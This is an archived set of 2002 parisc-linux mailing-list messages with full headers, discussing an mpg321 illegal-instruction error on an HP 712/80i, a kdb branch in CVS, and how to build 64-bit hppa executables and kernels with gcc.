Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14517

Phil Anderson wrote:
> I think the problem lies in my mpg321, because no matter what I do with 
> it, use esd or not, whatever options I choose - I always get the
> Illegal Instruction
> error. this is the mpg321 .deb I installed of  my 0.9.3 CD; could the 
> mpg321 be corrupt or is something else wrong? 

I'm wondering if it's something else.

712/80i was one of the few systems that was sold w/o Floating Pointing
coprocessor (or FP was disabled) at a lower price point. I believe
parisc-linux kernel ignores the lies that PDC presents about the FP
not being present. But I'm wondering if something is really
disabled on the chip that causes FP to just not work.  I don't know
if our FP emulation will deal with a completely missing FP Unit.

If this really the case, I should be able find you a real 712/80
to play with. But you need to figure out what is causing the
illegal instruction first.

grant



From - Thu Nov 08 21:22:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kdb sources now in cvs
Date: Thu, 4 Apr 2002 22:19:54 -0800
Lines: 13
Approved: news@gmane.org
Message-ID: <20020405061954.GD469@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621214 6021 80.91.229.3 (22 Nov 2014 01:53:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  4 23:20:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 35577482B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Apr 2002 23:20:07 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id uvljmaaa for parisc-linux@lists.parisc-linux.org; Thu, 4 Apr 2002 23:19:07 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.34 #1 (Debian))
	id 16tN4k-0004Oj-00; Thu, 04 Apr 2002 22:19:54 -0800
Content-Disposition: inline
User-Agent: Mutt/1.3.27i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14518

There's now a kdb_v21 branch in parisc-linux cvs:

cvs -d.... co -r kdb_v21 linux

Enjoy!
randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:22:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 64bit newbie question
Date: Fri, 5 Apr 2002 14:32:13 +0100 (IST)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0204051418500.27381-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621214 6024 80.91.229.3 (22 Nov 2014 01:53:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  5 06:32:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from interzone.ucc.ie (interzone.ucc.ie [143.239.1.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id A9A15482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Apr 2002 06:32:18 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by interzone.ucc.ie (8.9.3/8.9.3) with ESMTP id OAA14496
	for <parisc-linux@lists.parisc-linux.org>; Fri, 5 Apr 2002 14:33:38 +0100 (BST)
X-X-Sender: xam@sal.ucc.ie
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14519

Hi,

I  was just wondering how you can produce 64bit executables for hppa.
'info gcc', 'man gcc' or 'gcc -v --help' doesn't mention 64bit
support at all.

IIRC on sparc systems, you can produce 64bit executables by specifying/
enabling the V9-Architecture and the 64bit support, i.e. just adding
the option '-mcpu=v9' and '-m64'. It seems to be similar on
many other architectures (submodels), too.

But it seems that for hppa 64bit is an entire different submodel,
or am I wrong ?

What do I have to do to

- build a 64bit capable gcc for hppa ?
- produce a 64bit executable ?
- create a 64bit kernel ? (I know it doesn't make sense on Cxxx
  machines, and 64bit has much more bugs than 32bit support ;)

And are there precompiled binaries available (debian/hppa executables) ?
I haven't seen an egcs64, gcc64 or hppa64-gcc in the debian pool ...

greetings max




From - Thu Nov 08 21:22:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] 64bit newbie question
Date: Fri, 5 Apr 2002 07:43:26 -0600
Lines: 55
Approved: news@gmane.org
Message-ID: <7EF637D40666B546AC3145A468A6D5F611CF1E@umr-mail6.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621215 6026 80.91.229.3 (22 Nov 2014 01:53:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:35 +0000 (UTC)
To: "M. Grabert" <xam@cs.ucc.ie>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  5 06:43:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay2.cc.umr.edu [131.151.1.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id E74EA482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Apr 2002 06:43:31 -0700 (MST)
Original-Received: from umr-mail6.umr.edu (umr-mail6.umr.edu [131.151.1.149]) via ESMTP by mrelay2.cc.umr.edu (8.12.1/) id g35DhQFc021203; Fri, 5 Apr 2002 07:43:26 -0600
content-class: urn:content-classes:message
x-mimeole: Produced By Microsoft Exchange V6.0.5762.3
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [parisc-linux] 64bit newbie question
Thread-Index: AcHcpmuwxuhY4vckQS+DUEcL6DHnOQAAUAaA
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14520

64 bit not supported in user space yet. It's only so you can use all of
the memory in a machine - i.e. multiple 32 bit user apps each using 2
GB. So, no reason to generate 64 bit apps.

-- Nathan

------------------------------------------------------------
Nathan Neulinger                       EMail:  nneul@umr.edu
University of Missouri - Rolla         Phone: (573) 341-4841
Computing Services                       Fax: (573) 341-4216


> -----Original Message-----
> From: M. Grabert [mailto:xam@cs.ucc.ie]=20
> Sent: Friday, April 05, 2002 7:32 AM
> To: parisc-linux@lists.parisc-linux.org
> Subject: [parisc-linux] 64bit newbie question
>=20
>=20
> Hi,
>=20
> I  was just wondering how you can produce 64bit executables for hppa.
> 'info gcc', 'man gcc' or 'gcc -v --help' doesn't mention 64bit
> support at all.
>=20
> IIRC on sparc systems, you can produce 64bit executables by=20
> specifying/
> enabling the V9-Architecture and the 64bit support, i.e. just adding
> the option '-mcpu=3Dv9' and '-m64'. It seems to be similar on
> many other architectures (submodels), too.
>=20
> But it seems that for hppa 64bit is an entire different submodel,
> or am I wrong ?
>=20
> What do I have to do to
>=20
> - build a 64bit capable gcc for hppa ?
> - produce a 64bit executable ?
> - create a 64bit kernel ? (I know it doesn't make sense on Cxxx
>   machines, and 64bit has much more bugs than 32bit support ;)
>=20
> And are there precompiled binaries available (debian/hppa=20
> executables) ?
> I haven't seen an egcs64, gcc64 or hppa64-gcc in the debian pool ...
>=20
> greetings max
>=20
>=20
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>=20



From - Thu Nov 08 21:22:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: climent@stybba.ntc.nokia.com (Jesus Climent)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64bit newbie question
Date: Fri, 5 Apr 2002 16:55:56 +0300
Lines: 33
Approved: news@gmane.org
Message-ID: <20020405135556.GO10207@shire.ntc.nokia.com>
References: <Pine.LNX.4.44.0204051418500.27381-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416621215 6029 80.91.229.3 (22 Nov 2014 01:53:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "ext M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  5 06:56:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mgw-x2.nokia.com (mgw-x2.nokia.com [131.228.20.22])
	by dsl2.external.hp.com (Postfix) with ESMTP id 82E21482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Apr 2002 06:56:01 -0700 (MST)
Original-Received: from esvir02nok.ntc.nokia.com (esvir02nokt.ntc.nokia.com [172.21.143.34])
	by mgw-x2.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id g35DuF510314
	for <parisc-linux@lists.parisc-linux.org>; Fri, 5 Apr 2002 16:56:16 +0300 (EET DST)
Original-Received: from esebh002.NOE.Nokia.com (unverified) by esvir02nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T5a13790fa8ac158f22077@esvir02nok.ntc.nokia.com>;
 Fri, 5 Apr 2002 16:55:57 +0300
Original-Received: from pumuki ([172.21.190.25]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.3779);
	 Fri, 5 Apr 2002 16:55:57 +0300
Original-Received: by pumuki (Postfix, from userid 58962)
	id BA80327F69; Fri,  5 Apr 2002 16:55:56 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0204051418500.27381-100000@sal.ucc.ie>
User-Agent: Mutt/1.3.28i
X-OriginalArrivalTime: 05 Apr 2002 13:55:57.0417 (UTC) FILETIME=[9C5F7590:01C1DCA9]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14521

On Fri, Apr 05, 2002 at 02:32:13PM +0100, ext M. Grabert wrote:
> Hi,
> 
> I  was just wondering how you can produce 64bit executables for hppa.
> 'info gcc', 'man gcc' or 'gcc -v --help' doesn't mention 64bit
> support at all.
> 
> IIRC on sparc systems, you can produce 64bit executables by specifying/
> enabling the V9-Architecture and the 64bit support, i.e. just adding
> the option '-mcpu=v9' and '-m64'. It seems to be similar on
> many other architectures (submodels), too.
> 
> But it seems that for hppa 64bit is an entire different submodel,
> or am I wrong ?
> 
> What do I have to do to
> 
> - build a 64bit capable gcc for hppa ?
> - produce a 64bit executable ?
> - create a 64bit kernel ? (I know it doesn't make sense on Cxxx
>   machines, and 64bit has much more bugs than 32bit support ;)
> 
> And are there precompiled binaries available (debian/hppa executables) ?
> I haven't seen an egcs64, gcc64 or hppa64-gcc in the debian pool ...

Have you tried gcc-3.0 ??

IIRC is the one that introduced 64 bit compilation under hppa.

J.




From - Thu Nov 08 21:22:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64bit newbie question
Date: Fri, 5 Apr 2002 14:59:34 +0100 (IST)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0204051456300.28325-100000@sal.ucc.ie>
References: <20020405135556.GO10207@shire.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621215 6033 80.91.229.3 (22 Nov 2014 01:53:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jesus Climent <climent@stybba.ntc.nokia.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  5 06:59:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from interzone.ucc.ie (interzone.ucc.ie [143.239.1.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id CB894482B
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Apr 2002 06:59:40 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by interzone.ucc.ie (8.9.3/8.9.3) with ESMTP id PAA14985;
	Fri, 5 Apr 2002 15:00:59 +0100 (BST)
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20020405135556.GO10207@shire.ntc.nokia.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14522

On Fri, 5 Apr 2002, Jesus Climent wrote:

> > What do I have to do to
> >
> > - build a 64bit capable gcc for hppa ?
> > - produce a 64bit executable ?
> > - create a 64bit kernel ? (I know it doesn't make sense on Cxxx
> >   machines, and 64bit has much more bugs than 32bit support ;)
> >
> > And are there precompiled binaries available (debian/hppa executables) ?
> > I haven't seen an egcs64, gcc64 or hppa64-gcc in the debian pool ...
>
> Have you tried gcc-3.0 ??
>
> IIRC is the one that introduced 64 bit compilation under hppa.

Lol :)

I think there is no other gcc for hppa than gcc-3.x yet ;)

I wondered what options I have to pass to gcc to created 64bit
executables (e.g. a 64bit kernel), and/or whether the 'normal' gcc-3.0
you get with apt-get is just capable of dealing with 32bit executables.

greetings & have a nice weekend, max





From - Thu Nov 08 21:22:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64bit newbie question
Date: Fri, 5 Apr 2002 15:44:29 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20020405154429.F27682@parcelfarce.linux.theplanet.co.uk>
References: <20020405135556.GO10207@shire.ntc.nokia.com> <Pine.LNX.4.44.0204051456300.28325-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621216 6038 80.91.229.3 (22 Nov 2014 01:53:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:36 +0000 (UTC)
Cc: Jesus Climent <climent@stybba.ntc.nokia.com>,
	parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  5 07:44:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id F1BB3482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Apr 2002 07:44:31 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16tUx3-0007Xq-00; Fri, 05 Apr 2002 15:44:29 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.LNX.4.44.0204051456300.28325-100000@sal.ucc.ie>; from xam@cs.ucc.ie on Fri, Apr 05, 2002 at 02:59:34PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14523

On Fri, Apr 05, 2002 at 02:59:34PM +0100, M. Grabert wrote:
> I wondered what options I have to pass to gcc to created 64bit
> executables (e.g. a 64bit kernel), and/or whether the 'normal' gcc-3.0
> you get with apt-get is just capable of dealing with 32bit executables.

nobody's made gcc support both 32 and 64 bit targets yet on hppa.  for now,
install the obvious debs from http://ftp.parisc-linux.org/unofficial-debs/

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64bit newbie question
Date: Fri, 5 Apr 2002 07:13:36 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <20020405151336.GB356@tausq.org>
References: <20020405135556.GO10207@shire.ntc.nokia.com> <Pine.LNX.4.44.0204051456300.28325-100000@sal.ucc.ie>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621216 6041 80.91.229.3 (22 Nov 2014 01:53:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:36 +0000 (UTC)
Cc: Jesus Climent <climent@stybba.ntc.nokia.com>,
	parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  5 08:13:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4ADE7482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Apr 2002 08:13:46 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id wdpjmaaa for parisc-linux@lists.parisc-linux.org; Fri, 5 Apr 2002 08:12:46 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.34 #1 (Debian))
	id 16tVPE-00006T-00; Fri, 05 Apr 2002 07:13:36 -0800
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0204051456300.28325-100000@sal.ucc.ie>
User-Agent: Mutt/1.3.27i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14524

> I wondered what options I have to pass to gcc to created 64bit
> executables (e.g. a 64bit kernel), and/or whether the 'normal' gcc-3.0
> you get with apt-get is just capable of dealing with 32bit executables.

the 64-bit compiler we use to build kernels is not yet in debian, it is
available on ftp://ftp.parisc-linux.org/unofficial-debs/

i'm working on getting something into the Debian archive...

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:22:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jbit <james_a_n_lee@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Missing beep... and music too
Date: Fri, 05 Apr 2002 15:11:57 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <3CADB0AD.1050307@yahoo.com>
References: <Pine.LNX.4.33.0204042038090.29216-100000@bob.ncssm.edu> <20020405055415.C6C54482B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621216 6046 80.91.229.3 (22 Nov 2014 01:53:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:36 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  5 08:33:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp015.mail.yahoo.com (smtp015.mail.yahoo.com [216.136.173.59])
	by dsl2.external.hp.com (Postfix) with SMTP id 96AF8482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Apr 2002 08:33:43 -0700 (MST)
Original-Received: from pc3-camb5-0-cust130.cam.cable.ntl.com (HELO yahoo.com) (james?a?n?lee@80.1.206.130 with plain)
  by smtp.mail.vip.sc5.yahoo.com with SMTP; 5 Apr 2002 15:10:53 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i586; en-US; rv:0.9.4) Gecko/20011126 Netscape6/6.2.1
X-Accept-Language: en-gb, en-us, en-au, en, ja
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14525

 > 712/80i was one of the few systems that was sold w/o Floating Pointing
 > coprocessor (or FP was disabled) at a lower price point. I believe
 > parisc-linux kernel ignores the lies that PDC presents about the FP
 > not being present. But I'm wondering if something is really
 > disabled on the chip that causes FP to just not work.  I don't know
 > if our FP emulation will deal with a completely missing FP Unit.


My 80i plays mp3s (via mpg123) beutifly.. without FPU emulation..
(but i had lots of problems getting it to work in debian, works a treat under lfs ;)
I just always assumed debian compiled it weirdly... hrm...
Or it could be that when i compiled mpg123 i didn't put any FPU code in (needed a bit of hacking to compile)
I'll investigate.. see what happend...


